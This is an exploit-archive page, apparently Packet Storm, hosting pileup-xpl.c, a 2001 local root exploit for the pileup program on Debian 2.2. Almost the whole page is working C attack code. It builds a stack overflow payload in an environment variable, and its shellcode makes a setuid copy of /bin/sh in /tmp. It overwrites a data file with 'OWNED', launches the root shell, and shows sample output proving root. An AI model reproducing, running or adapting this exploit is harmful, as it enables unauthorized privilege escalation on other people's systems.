exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pileup-xpl.c

pileup-xpl.c
Posted Jul 29, 2001
Authored by Charles Stevenson

/usr/bin/pileup local root exploit. Tested against Debian 2.2.

tags | exploit, local, root
systems | linux, debian
SHA-256 | 91ffd9b5c600d6641fc76b93d1585a6c5bdb92d4d9d1ce2ffd0e8c74e173e9b9

pileup-xpl.c

Change Mirror Download
/* pileup-xpl.c - local root exploit
*
* by core
*
* Friday the 13th, July 2001
*
* based almost entirely on code by Cody Tubbs (loophole of hhp)
*
* $ ./pileup-xpl
* pileup-xpl by core 2001 - beep beep root!
* usage: ./pileup-xpl [offset] [align(0..3)]
* Ret-addr: 0xbfffe09c, offset: 0, align: 0.
* How many voices (1 to 9)
* Starting speed (wpm)
* (C)ompetion mode or (P)ractice mode
* Enter '0' to abort the session! GL..
*
* TX RX TX RX
* -- -- -- --
*
* Accuracy: 0/6. Max speed: 13
* Score: 0
* Score: core wins!
* core-2.03# id
* uid=1000(core) gid=1000(core) euid=0(root) groups=1000(core)
* core-2.03# exit
* $
*
* greetz b10z, hhp, loophole
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SH_IS_BASH 1 /* if /bin/sh -> /bin/bash */

#define PATH "/usr/bin/pileup" // Change to direct path if needed.
#define OFFSET 0 // Worked for me.
#define ALIGN 0 // Don't change.
#define NOP 0x90 // x86 No OPeration.
#define DBUF 20 // 16+4(ebp)+4(eip)=24.
#define DAT "calls.dat" // Required for exploitation.

static char shellcode[]=
"\x31\xc0" /* set[gu]id(0);/bin/cp /bin/sh /tmp/core;chmod 4555 /tmp/core */
"\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/core";

long get_sp(void) {
__asm__("movl %esp,%eax");
}

void usage(char *name){
fprintf(stderr, "pileup-xpl by core 2001 - beep beep root!\n");
fprintf(stderr, "usage: %s [offset] [align(0..3)]\n", name);
}

int main(int argc, char **argv){
char eipeip[DBUF], buffer[7192];
char go[DBUF + 22];
FILE *calls;
int i, offset, align;
long address;

usage(argv[0]);

/* Remove the config and write OWNED! */
unlink(DAT);
calls = fopen(DAT, "w");
fprintf(calls, "OWNED\n");
fclose(calls);

/* Do command line */
if (argc > 1) {
offset = atoi(argv[1]);
}
else {
offset = OFFSET;
}

if (argc > 2) {
align = atoi(argv[2]);
}
else {
align = ALIGN;
}

address = get_sp() - offset;

if (align > 0) {
for(i=0; i < align; i++) {
eipeip[i] = 0x69;
}
}

for (i=align; i < DBUF; i+=4) {
*(long *)&eipeip[i] = address;
}
for (i=0; i < (7192 - strlen(shellcode) - strlen(eipeip)); i++) {
buffer[i] = NOP;
}

/* setup the environment */
memcpy(buffer + i, shellcode, strlen(shellcode));
memcpy(buffer, "UPEX=", 5);
putenv(buffer);

fprintf(stderr, "Ret-addr: %#x, offset: %d, align: %d.\n", address, \
offset, align);

sprintf(go, "(printf '1\n0\nC\n%s\n0\n')|%s", eipeip, PATH); //netcat style.
system(go);

fprintf(stderr, "Score: core wins!\n");

#ifdef SH_IS_BASH
system("/tmp/core -p");
#else
system("/tmp/core");
#endif

return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close